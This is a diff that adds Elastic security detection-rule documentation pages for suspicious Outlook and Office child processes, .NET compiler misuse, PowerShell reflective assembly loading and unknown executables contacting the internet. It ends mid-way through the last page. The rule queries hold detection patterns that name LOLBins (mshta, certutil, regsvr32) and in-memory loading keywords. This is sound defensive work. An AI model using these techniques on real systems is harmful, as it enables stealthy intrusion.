- Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ( + "eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", + "mspub.exe", "powerpnt.exe", "winword.exe", "outlook.exe" + ) and + process.name : ( + "Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", + "certutil.exe", "cmd.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", "net1.exe", "netsh.exe", + "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", + "schtasks.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", + "xwizard.exe", "explorer.exe", "rundll32.exe", "hh.exe", "msdt.exe" + ) and + not ( + process.parent.name : "outlook.exe" and + process.name : "rundll32.exe" and + process.args : "shell32.dll,Control_RunDLL" and + process.args : "srchadmin.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-outlook-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-outlook-child-process.asciidoc new file mode 100644 index 0000000000..d83d5c15f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-outlook-child-process.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-20-suspicious-ms-outlook-child-process]] +=== Suspicious MS Outlook Child Process + +Identifies suspicious child processes of Microsoft Outlook. These child processes are often associated with spear phishing activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Outlook Child Process* + + +Microsoft Outlook is an email client that provides contact, email calendar, and task management features. Outlook is widely used, either standalone or as part of the Office suite. + +This rule looks for suspicious processes spawned by MS Outlook, which can be the result of the execution of malicious documents and/or exploitation for initial access. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve recently opened files received via email and opened by the user that could cause this behavior. Common locations include but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "outlook.exe" and + process.name : ("Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", + "cdb.exe", "certutil.exe", "cmd.exe", "cmstp.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", + "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", + "pwsh.exe", "qprocess.exe", "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", + "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", "systeminfo.exe", "tasklist.exe", + "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", "xwizard.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-code-compilation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-code-compilation.asciidoc new file mode 100644 index 0000000000..5533206bee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-code-compilation.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-20-suspicious-net-code-compilation]] +=== Suspicious .NET Code Compilation + +Identifies executions of .NET compilers with suspicious parent processes, which can indicate an attacker's attempt to compile code after delivery in order to bypass security mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious .NET Code Compilation* + + +.NET compilers like `csc.exe` and `vbc.exe` are integral to compiling C# and VB.NET code, respectively, in Windows environments. Adversaries exploit these compilers by executing them with unusual parent processes, such as scripting engines or system utilities, to compile malicious code stealthily. The detection rule identifies such anomalies by monitoring compiler executions initiated by suspicious parent processes, signaling potential evasion or execution tactics. + + +*Possible investigation steps* + + +- Review the process tree to understand the relationship between the suspicious parent process (e.g., wscript.exe, mshta.exe) and the .NET compiler process (csc.exe or vbc.exe) to determine if the execution flow is typical or anomalous. +- Examine the command-line arguments used by the .NET compiler process to identify any potentially malicious code or scripts being compiled. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the source and integrity of the parent process executable to ensure it has not been tampered with or replaced by a malicious version. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Analyze network activity from the host around the time of the alert to detect any suspicious outbound connections that may indicate data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate software development activities may trigger this rule if developers use scripting engines or system utilities to automate the compilation of .NET code. To manage this, identify and whitelist known development environments or scripts that frequently compile code using these methods. +- System administrators might use scripts or automation tools that invoke .NET compilers for maintenance tasks. Review and document these processes, then create exceptions for recognized administrative scripts to prevent unnecessary alerts. +- Some enterprise applications may use .NET compilers as part of their normal operation, especially if they dynamically generate or compile code. Investigate these applications and exclude their processes from the rule if they are verified as non-threatening. +- Security tools or monitoring solutions might simulate suspicious behavior for testing purposes, which could trigger this rule. Coordinate with your security team to identify such tools and exclude their activities from detection. +- In environments where custom scripts are frequently used for deployment or configuration, ensure these scripts are reviewed and, if safe, added to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of potentially malicious code. +- Terminate any suspicious processes identified, such as `csc.exe` or `vbc.exe`, that are running with unusual parent processes. +- Conduct a thorough scan of the isolated system using updated antivirus and endpoint detection tools to identify and remove any malicious files or remnants. +- Review and analyze the execution logs to determine the source and scope of the threat, focusing on the parent processes like `wscript.exe` or `mshta.exe` that initiated the compiler execution. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated through cleaning. +- Implement application whitelisting to prevent unauthorized execution of compilers and scripting engines by non-standard parent processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("csc.exe", "vbc.exe") and + process.parent.name : ("wscript.exe", "mshta.exe", "cscript.exe", "wmic.exe", "svchost.exe", "rundll32.exe", "cmstp.exe", "regsvr32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-reflection-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-reflection-via-powershell.asciidoc new file mode 100644 index 0000000000..148e90f3f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-net-reflection-via-powershell.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-20-suspicious-net-reflection-via-powershell]] +=== Suspicious .NET Reflection via PowerShell + +Detects PowerShell scripts that invoke Reflection.Assembly or Assembly.Load to load .NET assemblies. Attackers use this method to load executables and DLLs without writing to the disk, bypassing security solutions. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Suspicious .NET Reflection via PowerShell* + + +This alert indicates PowerShell script block content attempted to load a .NET assembly using reflection-based APIs (for example, `[System.Reflection.Assembly]::Load` or `Assembly.Load(...)`). While this can be used for legitimate extensibility, it is also commonly used to execute .NET payloads in memory and reduce file-based artifacts. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the execution context: + - Identify the affected host and user using `host.name`, `host.id`, `user.name`, `user.domain`, and `user.id`. + - Prioritize alerts where the user is unexpected for the host role, or where the same user appears across multiple hosts in a short time window. +- Analyze the assembly load behavior in `powershell.file.script_block_text`: + - Identify what is being passed into the load call (assembly name vs. byte array or dynamically generated content). + - Check for indicators of staged content within the same script block, such as long encoded blobs, dynamic string construction, or multiple transformation steps (decoding, decompression, or concatenation) that produce the assembly bytes. + - Look for immediate follow-on actions suggesting the loaded assembly is executed (for example, accessing types/methods and invoking them after the load). +- Reconstruct the full script block when needed: + - If the content appears partial, group related events by `powershell.file.script_block_id` and order by `powershell.sequence` to `powershell.total` to rebuild the full script block before assessing intent. + - Use `powershell.file.script_block_length` as a signal for embedded content (large or unusually variable sizes can indicate payload staging). +- Determine script origin and persistence indicators: + - If `file.path`/`file.name` are present, assess whether the script is stored in an expected location for the user and host role, or in a user-writable / temporary directory indicated by `file.directory`. + - If `file.path` is present, retrieve and review the corresponding script file for additional context (embedded payloads, additional functions, or execution logic not visible in a single script block event). + - If `file.path` is not present, treat the activity as potentially interactive or remotely delivered and rely on `powershell.file.script_block_id` and time-based pivots to gather surrounding context. +- Scope related PowerShell activity on the same host and user: + - Pivot on `host.id` and `user.id` to identify additional script blocks around the alert time that may show setup, staging, or follow-on actions. + - Check for repeated `Assembly.Load` usage across multiple `powershell.file.script_block_id` values, which may indicate iterative execution attempts or multiple payload stages. +- Scope across the environment: + - Search for the same `file.path`/`file.name` and similar `powershell.file.script_block_text` patterns on other hosts to identify propagation or reuse. + - Identify whether the same `user.id` is associated with similar script blocks across multiple `host.id` values to assess potential lateral movement or shared automation. +- Correlate with adjacent telemetry (if available in your environment): + - Process telemetry: Determine how PowerShell was launched and by what parent process around the alert time to understand delivery (interactive use, scheduled execution, service context, or another process). + - Network telemetry: Review outbound activity near the alert time for signs of payload retrieval, staging infrastructure, or command-and-control. + - File/registry telemetry: Look for newly created or modified scripts, DLLs, or persistence-related changes temporally aligned with the script block execution. + - Authentication telemetry: Review logon patterns for the same user and host around the alert time to identify unusual access patterns that could explain the execution. +- If response actions are available: + - Collect host DNS cache and a snapshot of running/installed services to support scoping and to identify suspicious services or recent name resolution consistent with payload staging. + + +*False positive analysis* + + +- Legitimate scripts may load assemblies to support internal tooling, plugin models, packaged dependencies, or automation tasks that embed .NET functionality in PowerShell. +- Benign activity is more likely when: + - `file.path`/`file.name` map to a known, owned script with a stable operational purpose. + - The same `user.id` consistently runs the same script on the same `host.id` as part of normal operations. + - `powershell.file.script_block_text` is readable and clearly loads expected assemblies without embedded blobs or multi-step content staging. +- Suspicious activity is more likely when: + - The assembly is loaded from dynamically generated bytes (encoded or transformed content) and is followed by reflection-based invocation. + - The script originates from an unusual `file.directory` or the execution context (`user.name`/`host.name`) is inconsistent with expected administrative workflows. +- If confirmed benign, document the owning team, expected execution pattern, and the specific script identity (`file.path`/`file.name`) to enable narrowly scoped tuning. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected to be malicious: + - Isolate the affected host to prevent further in-memory execution and follow-on activity. + - Preserve evidence from the alert: + - Export the full reconstructed script block content using `powershell.file.script_block_id` with `powershell.sequence`/`powershell.total`. + - Capture `host.id`, `host.name`, `user.id`, `user.name`, `user.domain`, and any associated `file.path`/`file.name` context. + - Identify and contain related activity: + - Hunt for additional related script blocks on the same host/user and across other hosts for similar `powershell.file.script_block_text` patterns. + - Contain any identified infrastructure or artifacts based on indicators found in the script content (for example, domains, IPs, or downloaded file names). + - Remediate: + - Remove persistence and stop any related malicious processes discovered during triage and correlation. + - Review the impacted account (`user.id`) for compromise and rotate credentials as appropriate, prioritizing privileged access. + - Validate the host is remediated and monitored for recurrence before returning it to service. +- If the activity is benign but requires reduction in alert volume: + - Record the approved use case and expected execution context (host role, user role, and script location). + - Apply targeted tuning anchored to stable identifiers (for example, specific `file.path` and expected accounts) rather than broadly suppressing assembly load behavior. + - Review PowerShell governance and monitoring to ensure in-memory loading is limited to approved workflows. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +( + powershell.file.script_block_text : ( + "[System.Reflection.Assembly]::Load" or + "[Reflection.Assembly]::Load" or + "Assembly.Load(" + ) and + powershell.file.script_block_text : ( + "FromBase64String" or "GzipStream" or "DeflateStream" or "IO.Compression" or + "MemoryStream" or "DownloadData" or "WebClient" or "ReadAllBytes" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Dynamic-link Library Injection +** ID: T1055.001 +** Reference URL: https://attack.mitre.org/techniques/T1055/001/ +* Sub-technique: +** Name: Portable Executable Injection +** ID: T1055.002 +** Reference URL: https://attack.mitre.org/techniques/T1055/002/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..4c896b2598 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc @@ -0,0 +1,268 @@ +[[prebuilt-rule-8-19-20-suspicious-network-activity-to-the-internet-by-previously-unknown-executable]] +=== Suspicious Network Activity to the Internet by Previously Unknown Executable + +This rule monitors for network connectivity to the internet from a previously unknown executable located in a suspicious directory. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to establish connections to unknown or suspicious destinations such as a command and control server. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* filebeat-* +* packetbeat-* +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-59m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Network Activity to the Internet by Previously Unknown Executable* + + +After being installed, malware will often call out to its command and control server to receive further instructions by its operators. + +This rule leverages the new terms rule type to detect previously unknown processes, initiating network connections to external IP-addresses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate malicious behavior. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential malicious processes, reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open 